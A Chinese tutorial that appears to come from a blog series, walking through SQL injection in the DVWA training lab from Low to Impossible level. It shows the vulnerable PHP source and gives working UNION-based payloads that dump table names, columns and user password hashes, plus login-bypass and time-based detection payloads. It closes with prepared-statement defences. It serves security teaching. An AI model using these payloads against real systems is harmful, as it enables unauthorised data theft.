DVWA从入门到精通(八):SQL Injection(SQL注入) 摘要本文是《DVWA从入门到精通》系列的第八篇带你全面掌握SQL InjectionSQL注入模块的攻防全流程。从SQL注入的核心原理出发逐步讲解Low、Medium、High三个级别的攻击手法与源码分析并深入探讨Impossible级别的终极防御方案。文章包含字符型注入与数字型注入的判断、UNION联合查询脱库、information_schema元数据库利用、报错注入与布尔盲注、Burp Suite抓包绕过以及PDO预处理和参数化查询等企业级防御策略让你真正做到“知其然更知其所以然”。一、什么是SQL注入1.1 SQL注入的核心原理SQL注入SQL Injection是指攻击者通过操纵应用程序的输入参数将恶意的SQL代码注入到后台数据库查询语句中从而绕过身份验证、获取敏感数据、篡改数据库内容或执行危险操作。用一个生活化的例子来理解想象你在公司前台保安问你“你的工号是多少”你回答“10086”。保安对着对讲机说“查一下工号10086的人是不是我们公司的员工”——这是正常的查询。但如果你回答的是“10086’ OR ‘1’‘1”保安原封不动地把这句话传给对讲机“查一下工号10086’ OR ‘1’‘1’的人是不是我们公司的员工”——对讲机那头的人一听“哦‘1’‘1’永远成立那所有人都是我们公司的员工了放行”SQL注入就是这么回事——应用程序没有对用户输入做任何检查直接把用户说的话拼接到SQL查询语句中攻击者通过精心构造的输入改变了SQL语句的原本意图。从技术角度来看Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行导致参数中的特殊字符打破了SQL语句原有逻辑。1.2 SQL注入的分类根据注入技术SQL注入可以分为以下几种类型类型说明联合查询注入UNION使用UNION关键字合并额外的查询结果布尔盲注Boolean-based根据页面返回内容的真假判断时间盲注Time-based根据页面响应时间的差异判断报错注入Error-based利用数据库返回的错误信息获取数据堆查询注入Stacked Queries同时执行多条SQL语句1.3 SQL注入的危害SQL注入的危害等级通常被认为是严重甚至毁灭性的危害说明读取敏感数据从数据库中读取用户信息、密码、信用卡号等修改数据库数据插入、更新或删除数据库记录绕过身份验证无需密码即可登录系统执行管理操作关闭DBMS、修改数据库配置等读取服务器文件读取文件系统上存在的文件内容执行系统命令在某些情况下向操作系统发出命令二、准备工作2.1 靶场环境确保DVWA已部署并正常运行访问地址http://你的服务器IP/dvwa/login.php使用admin/password登录2.2 必备工具工具用途浏览器Chrome/Firefox访问靶场F12开发者工具Burp Suite抓包分析、修改请求参数Medium级别必需2.3 基础知识储备理解SQL的基本语法SELECT、WHERE、UNION等了解MySQL的information_schema元数据库熟悉注释符#、--、/* */三、Low级别毫无防护的“裸奔”状态3.1 安全级别设置将DVWA Security设置为Low级别然后进入SQL Injection模块。3.2 界面观察SQL Injection模块的界面包含一个输入框和一个“Submit”按钮。页面上方提示“User ID”用户ID。输入一个数字如1页面会返回该用户的名字和姓氏。3.3 源码分析点击页面底部的“View Source”按钮查看Low级别的核心代码?php if( isset( $_REQUEST[ Submit ] ) ) { // Get input $id $_REQUEST[ id ]; switch ($_DVWA[SQLI_DB]) { case MYSQL: // Check database $query SELECT first_name, last_name FROM users WHERE user_id $id;; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); // Get results while( $row mysqli_fetch_assoc( $result ) ) { // Get values $first $row[first_name]; $last $row[last_name]; // Feedback for end user echo preID: {$id}br /First name: {$first}br /Surname: {$last}/pre; } mysqli_close($GLOBALS[___mysqli_ston]); break; case SQLITE: global $sqlite_db_connection; #$sqlite_db_connection new SQLite3($_DVWA[SQLITE_DB]); #$sqlite_db_connection-enableExceptions(true); $query SELECT first_name, last_name FROM users WHERE user_id $id;; #print $query; try { $results $sqlite_db_connection-query($query); } catch (Exception $e) { echo Caught exception: . $e-getMessage(); exit(); } if ($results) { while ($row $results-fetchArray()) { // Get values $first $row[first_name]; $last $row[last_name]; // Feedback for end user echo preID: {$id}br /First name: {$first}br /Surname: {$last}/pre; } } else { echo Error in fetch .$sqlite_db-lastErrorMsg(); } break; } } ?这段代码存在致命的SQL注入漏洞缺陷说明无任何过滤$_GET[id]直接获取用户输入未经任何验证或过滤直接拼接SQL用户输入被直接拼接到SQL查询语句中字符型注入$id被单引号包裹属于字符型注入错误回显数据库错误信息直接显示在页面上3.4 攻击方法完整的手工注入流程第一步判断注入点测试1输入正常值输入1点击提交。页面正常返回用户信息。测试2输入带单引号的值输入1页面返回SQL语法错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 at line 1结论输入的单引号破坏了原始SQL语句结构后端没有过滤特殊字符——确认存在SQL注入漏洞。判断注入类型观察源码中的SQL语句SELECT first_name, last_name FROM users WHERE user_id $id;$id被单引号包裹说明这是字符型注入。攻击时需要闭合单引号并注释掉后面的内容。第二步确认字段数使用ORDER BY语句探测当前查询返回的字段数量1 order by 1 # 1 order by 2 # 1 order by 3 #输入1 order by 2 #正常返回输入1 order by 3 #报错——说明当前表有2个字段。第三步确认回显位置使用UNION联合查询确认数据显示位置1 union select 1,2 #页面会显示First name: 1和Surname: 2说明两个位置都可以显示数据。第四步脱库获取数据库信息查数据库名1 union select database(),2 #返回当前数据库名dvwa。查表名1 union select 1, group_concat(table_name) from information_schema.tables where table_schemadvwa #编码问题如果遇到Illegal mix of collations错误说明UNION操作时字符集冲突可以使用convert()强制转换编码1 union select 1, convert(group_concat(table_name) using utf8) from information_schema.tables where table_schemadvwa #返回dvwa数据库中的所有表名包括guestbook和users。查列名1 union select 1, group_concat(column_name) from information_schema.columns where table_schemadvwa and table_nameusers #返回users表中的所有列名包括user_id、first_name、last_name、user、password等。查用户名与密码1 union select user, password from users #返回所有用户的用户名和MD5加密的密码。3.5 Low级别总结缺陷说明无任何输入过滤用户输入直接拼接到SQL语句字符型注入需要闭合单引号错误回显数据库报错信息直接暴露无任何防护可执行任意SQL语句四、Medium级别转义函数的“第一次尝试”4.1 安全级别设置将DVWA Security切换为Medium级别。4.2 观察变化在Medium级别下输入1不再报错——单引号被转义了。同时输入方式从文本框变成了下拉菜单只能选择1到5这几个数字。4.3 源码分析查看Medium级别的核心代码?php if( isset( $_POST[ Submit ] ) ) { // Get input $id $_POST[ id ]; $id mysqli_real_escape_string($GLOBALS[___mysqli_ston], $id); switch ($_DVWA[SQLI_DB]) { case MYSQL: $query SELECT first_name, last_name FROM users WHERE user_id $id;; $result mysqli_query($GLOBALS[___mysqli_ston], $query) or die( pre . mysqli_error($GLOBALS[___mysqli_ston]) . /pre ); // Get results while( $row mysqli_fetch_assoc( $result ) ) { // Display values $first $row[first_name]; $last $row[last_name]; // Feedback for end user echo preID: {$id}br /First name: {$first}br /Surname: {$last}/pre; } break; case SQLITE: global $sqlite_db_connection; $query SELECT first_name, last_name FROM users WHERE user_id $id;; #print $query; try { $results $sqlite_db_connection-query($query); } catch (Exception $e) { echo Caught exception: . $e-getMessage(); exit(); } if ($results) { while ($row $results-fetchArray()) { // Get values $first $row[first_name]; $last $row[last_name]; // Feedback for end user echo preID: {$id}br /First name: {$first}br /Surname: {$last}/pre; } } else { echo Error in fetch .$sqlite_db-lastErrorMsg(); } break; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query SELECT COUNT(*) FROM users;; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); $number_of_rows mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS[___mysqli_ston]); ?Medium级别的变化增加了转义函数使用mysqli_real_escape_string()对用户输入进行转义提交方式改变从GET变为POST输入形式改变从文本框变为下拉菜单注入类型改变SQL语句中$id没有单引号包裹变为数字型注入4.4mysqli_real_escape_string()的局限mysqli_real_escape_string()函数会将以下特殊字符进行转义单引号→\双引号→\反斜杠\→\\NULL字节等在字符型注入中这个函数能有效防御——因为攻击者无法闭合单引号。但在数字型注入中不需要单引号闭合所以转义函数完全失效4.5 攻击方法Burp Suite抓包注入由于Medium级别是数字型注入且使用POST提交攻击者可以通过Burp Suite抓包修改参数进行注入。第一步开启Burp Suite代理配置浏览器代理为Burp Suite的监听地址127.0.0.1:8080。第二步抓取提交请求在下拉菜单中选择一个数字如1点击Submit。Burp Suite拦截到请求第三步修改参数进行注入将id1修改为注入Payload。由于是数字型注入不需要单引号id1 union select database(),2SubmitSubmit第四步放行请求点击Forward放行请求页面返回数据库名。常用Medium级别Payload目的Payload查数据库名1 union select database(),2查表名1 union select 1, group_concat(table_name) from information_schema.tables where table_schemadatabase()查列名1 union select 1, group_concat(column_name) from information_schema.columns where table_nameusers查数据1 union select user, password from users4.6 Medium级别总结改进局限性mysqli_real_escape_string()转义特殊字符数字型注入不需要闭合引号转义无效POST方式提交可通过Burp Suite抓包修改下拉菜单限制输入可被Burp Suite绕过有一定防护效果数字型注入场景下完全无效五、High级别LIMIT 1的“画蛇添足”5.1 安全级别设置将DVWA Security切换为High级别。5.2 观察变化页面展示文本Click here to change your ID.点击页面内here超链接会弹出独立弹窗页面session-input.php相比 Medium 级别的下拉选择框High 级恢复可自由编辑的文本输入框支持手动输入自定义 ID 参数弹窗仅提供输入框与提交按钮。后端 SQL 语句追加LIMIT 1限制查询输出行数并过滤 SQL 注释字符提升注入防御强度。5.3 源码分析查看High级别的核心代码?php if( isset( $_SESSION [ id ] ) ) { // Get input $id $_SESSION[ id ]; switch ($_DVWA[SQLI_DB]) { case MYSQL: // Check database $query SELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( preSomething went wrong./pre ); // Get results while( $row mysqli_fetch_assoc( $result ) ) { // Get values $first $row[first_name]; $last $row[last_name]; // Feedback for end user echo preID: {$id}br /First name: {$first}br /Surname: {$last}/pre; } ((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query SELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;; #print $query; try { $results $sqlite_db_connection-query($query); } catch (Exception $e) { echo Caught exception: . $e-getMessage(); exit(); } if ($results) { while ($row $results-fetchArray()) { // Get values $first $row[first_name]; $last $row[last_name]; // Feedback for end user echo preID: {$id}br /First name: {$first}br /Surname: {$last}/pre; } } else { echo Error in fetch .$sqlite_db-lastErrorMsg(); } break; } } ?High级别的变化分两步执行SQL注入请求和结果获取分为两次请求增加了LIMIT 1限制只返回一条结果$id从Session获取不直接从GET/POST获取5.4 攻击方法High 级 SQL 注入将输入与查询拆分为两次独立请求参数存储于 Session无法直接 URL 传参注入同时 SQL 语句存在LIMIT 1限制回显行数无字符转义过滤存在字符型 SQL 注入漏洞。Burp Suite 手注步骤第一步判断注入类型和闭合方式输入基准值1页面正常返回用户信息确认查询功能正常输入单引号1页面抛出 SQL 语法错误说明参数被单引号包裹存在字符型注入漏洞输入1#利用注释符屏蔽 SQL 末尾多余单引号与LIMIT 1片段页面恢复正常数据回显验证闭合符号为单引号且#可作为有效注释符修复 SQL 语法输入双引号1页面正常显示数据排除双引号闭合的可能性所以本场景为单引号闭合字符型 SQL 注入非数字型注入。第二步猜解字段数1 order by 2# //#注释掉后边内容页面正常 1 order by 3# //页面报错所以字段数为2第三步获取回显位置1 union select 1,2# //12都是回显位置第四步获取数据库名1 union select database(),2 #第五步获取表名1 union select 1, group_concat(table_name) from information_schema.tables where table_schemadvwa #第六步获取表字段1 union select 1, group_concat(column_name) from information_schema.columns where table_schemadvwa and table_nameusers #第七步获取敏感数据1 union select group_concat(user), group_concat(password) from users #5.5 High级别总结改进局限性分两次请求执行可手动构造两次请求绕过LIMIT 1限制可用#注释掉增加攻击复杂度但不改变漏洞本质六、Impossible级别终极防御方案6.1 安全级别设置将DVWA Security切换为Impossible级别。6.2 源码分析查看Impossible级别的核心代码?php if( isset( $_GET[ Submit ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // Get input $id $_GET[ id ]; // Was a number entered? if(is_numeric( $id )) { $id intval ($id); switch ($_DVWA[SQLI_DB]) { case MYSQL: // Check the database $data $db-prepare( SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1; ); $data-bindParam( :id, $id, PDO::PARAM_INT ); $data-execute(); $row $data-fetch(); // Make sure only 1 result is returned if( $data-rowCount() 1 ) { // Get values $first $row[ first_name ]; $last $row[ last_name ]; // Feedback for end user echo preID: {$id}br /First name: {$first}br /Surname: {$last}/pre; } break; case SQLITE: global $sqlite_db_connection; $stmt $sqlite_db_connection-prepare(SELECT first_name, last_name FROM users WHERE user_id :id LIMIT 1; ); $stmt-bindValue(:id,$id,SQLITE3_INTEGER); $result $stmt-execute(); $result-finalize(); if ($result ! false) { // There is no way to get the number of rows returned // This checks the number of columns (not rows) just // as a precaution, but it wont stop someone dumping // multiple rows and viewing them one at a time. $num_columns $result-numColumns(); if ($num_columns 2) { $row $result-fetchArray(); // Get values $first $row[ first_name ]; $last $row[ last_name ]; // Feedback for end user echo preID: {$id}br /First name: {$first}br /Surname: {$last}/pre; } } break; } } } // Generate Anti-CSRF token generateSessionToken(); ?6.3 Impossible级别的六重防御体系Impossible级别构建了六重防御体系彻底杜绝了SQL注入的可能性第一层CSRF Token验证使用checkToken()函数验证请求中的user_token是否与会话中的session_token一致防止跨站请求伪造攻击。第二层数字类型检查白名单使用is_numeric($id)检查输入是否为数字。只有数字才能通过任何特殊字符都会被拒绝。第三层强制类型转换使用intval($id)将输入强制转换为整数彻底消除了注入的可能性。第四层PDO预处理语句核心防御使用PDOPHP Data Objects预处理语句执行SQL查询$data $db-prepare( SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1; ); $data-bindParam( :id, $id, PDO::PARAM_INT );SQL指令模板和数据是分开发送的。数据库先编译SQL模板再用参数值填充。无论用户输入什么特殊字符都会被数据库严格当作普通数值处理绝不会被执行。第五层限制返回行数LIMIT 1确保只返回一条记录防止批量数据泄露。rowCount() 1的检查更进一步只有恰好返回一条记录时才显示结果。第六层一次性Token刷新每次请求后调用generateSessionToken()生成新的Token每个Token只能使用一次。6.4 为什么Impossible级别无法被绕过要成功实施SQL注入攻击攻击者需要满足以下条件条件Impossible级别的防护攻击者能否达成输入特殊字符is_numeric()检查❌ 非数字直接被拒绝闭合SQL语句intval()强制转换❌ 输入被转为纯数字执行恶意SQLPDO预处理❌ 数据与代码分离批量获取数据LIMIT 1rowCount()检查❌ 最多返回一条CSRF攻击Token验证❌ 无法伪造有效Token六重防护叠加使得SQL注入攻击在Impossible级别下完全不可行。七、防御SQL注入的最佳实践通过DVWA四个级别的对比我们可以总结出防御SQL注入的最佳实践7.1 必须实施的防御措施措施说明优先级参数化查询/预处理语句使用PDO或MySQLi的预处理语句将SQL代码与数据分离⭐⭐⭐⭐⭐输入验证白名单只允许特定格式的输入如数字、邮箱格式等⭐⭐⭐⭐⭐最小权限原则数据库账号只授予必要的权限限制操作范围⭐⭐⭐⭐⭐错误信息处理不将数据库错误信息直接暴露给用户⭐⭐⭐⭐7.2 推荐的辅助措施措施说明优先级转义特殊字符使用mysqli_real_escape_string()等函数但不能作为唯一手段⭐⭐⭐Web应用防火墙WAF部署WAF检测和阻断SQL注入攻击⭐⭐⭐存储过程使用存储过程封装数据库操作⭐⭐⭐日志审计记录所有数据库操作便于事后追溯⭐⭐7.3 常见误区在实际开发中以下做法不能有效防御SQL注入❌仅使用mysqli_real_escape_string()数字型注入时完全无效如Medium级别❌仅使用黑名单过滤总有遗漏的特殊字符或编码绕过方式❌依赖前端验证攻击者可以绕过前端直接发请求❌仅使用LIMIT 1可用注释符#绕过如High级别❌隐藏错误信息只隐藏了报错不解决注入本身❌使用已弃用的magic_quotes_gpc该机制已被PHP废弃防御效果有限八、SQL注入的实战检测思路在实际的渗透测试中如何快速发现SQL注入漏洞8.1 检测步骤寻找输入点URL参数、表单输入、HTTP头Cookie、User-Agent等注入特殊字符输入、、)等观察是否报错判断注入类型报错则可能是字符型或数字型不报错则可能是盲注确认漏洞使用 and 11和 and 12对比响应差异利用漏洞根据类型选择合适的注入技术验证影响确认可获取的数据范围和权限8.2 常用检测PayloadPayload目的检测是否存在注入触发报错 and 11确认注入存在条件为真 and 12确认注入存在条件为假对比响应差异 or 11绕过登录验证 union select 1,2 #探测回显位置 and sleep(5) #检测时间盲注九、总结本文围绕 SQL 注入漏洞开展系统学习我们掌握其核心原理程序直接拼接用户输入至 SQL 语句攻击者借助特殊符号篡改原有 SQL 逻辑同时分清需单引号闭合的字符型注入与无需闭合的数字型注入我们逐级完成 DVWA 各安全等级手工注入实操Low 级别无任何过滤可依次完成注入点判断、ORDER BY 探测字段、UNION 查询定位回显位、借助 information_schema 实现数据库全量脱库Medium 采用 mysqli_real_escape_string () 转义仅能防护字符型注入对数字型注入无效可通过 Burp 抓包修改参数完成绕过High 采用独立弹窗查询搭配 LIMIT 1 限制使用 #注释符即可突破限制Impossible 集成 CSRF Token、数值类型校验、intval 强制转换、PDO 参数化预处理、查询行数限制、一次性令牌六层防护彻底阻断注入路径此外还梳理出预处理参数化查询、输入白名单校验、数据库最小权限、屏蔽详细报错信息等防御手段。SQL 注入是经典高危 Web 漏洞常年位居 OWASP 十大安全风险榜首依托 DVWA 的 SQL 注入模块我们同步掌握完整手工注入攻击流程与分层防护思路在生产环境中落实 PDO 预处理语句、输入白名单校验、数据库最小权限的多重防护策略能够从根源杜绝 SQL 注入安全隐患。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

相关新闻

最新新闻

Insyde BIOS高级设置解锁工具:技术深度解析与安全实践指南

Insyde BIOS高级设置解锁工具:技术深度解析与安全实践指南

Insyde BIOS高级设置解锁工具:技术深度解析与安全实践指南 【免费下载链接】LEGION_Y7000Series_Insyde_Advanced_Settings_Tools 支持一键修改 Insyde BIOS 隐藏选项的小工具,例如关闭CFG LOCK、修改DVMT等等 项目地址: https://gitcode.com/gh_mirro…

2026/7/3 23:24:05
终极解决方案:tchMaterial-parser 让您轻松获取国家中小学智慧教育平台电子课本

终极解决方案:tchMaterial-parser 让您轻松获取国家中小学智慧教育平台电子课本

终极解决方案:tchMaterial-parser 让您轻松获取国家中小学智慧教育平台电子课本 【免费下载链接】tchMaterial-parser 国家中小学智慧教育平台 电子课本下载工具,帮助您从智慧教育平台中获取电子课本的 PDF 文件网址并进行下载,让您更方便地获…

2026/7/3 23:24:05
3种方法重置Navicat Premium试用期:macOS用户的终极解决方案

3种方法重置Navicat Premium试用期:macOS用户的终极解决方案

3种方法重置Navicat Premium试用期:macOS用户的终极解决方案 【免费下载链接】navicat_reset_mac navicat mac版无限重置试用期脚本 Navicat Mac Version Unlimited Trial Reset Script 项目地址: https://gitcode.com/gh_mirrors/na/navicat_reset_mac 还在…

2026/7/3 23:24:05
在Mac上优雅查看PDM文件的3个简单步骤

在Mac上优雅查看PDM文件的3个简单步骤

在Mac上优雅查看PDM文件的3个简单步骤 【免费下载链接】ParsePDM Mac os 查看PDM文件 项目地址: https://gitcode.com/gh_mirrors/pa/ParsePDM ParsePDM是一款专为Mac用户设计的开源工具,让你无需Windows虚拟机就能直接查看和浏览PDM(PowerDesign…

2026/7/3 23:24:05
【Java毕业设计】基于 SpringBoot 的医疗器械检修维护管理系统的设计与实现 医疗机构设备耗材数字化管理平台(源码+文档+远程调试,全bao定制等)

【Java毕业设计】基于 SpringBoot 的医疗器械检修维护管理系统的设计与实现 医疗机构设备耗材数字化管理平台(源码+文档+远程调试,全bao定制等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

2026/7/3 23:24:05
IIM-42652与PIC18LF25K40实现6DoF姿态追踪方案

IIM-42652与PIC18LF25K40实现6DoF姿态追踪方案

1. 项目背景与核心组件解析在嵌入式系统开发中,运动追踪是一个关键的技术挑战。IIM-42652作为TDK InvenSense推出的6轴惯性测量单元(IMU),完美解决了这一需求。它集成了3轴加速度计和3轴陀螺仪,能够精确捕捉物体的线性加速度和角速度变化。而…

2026/7/3 23:19:02

周新闻

月新闻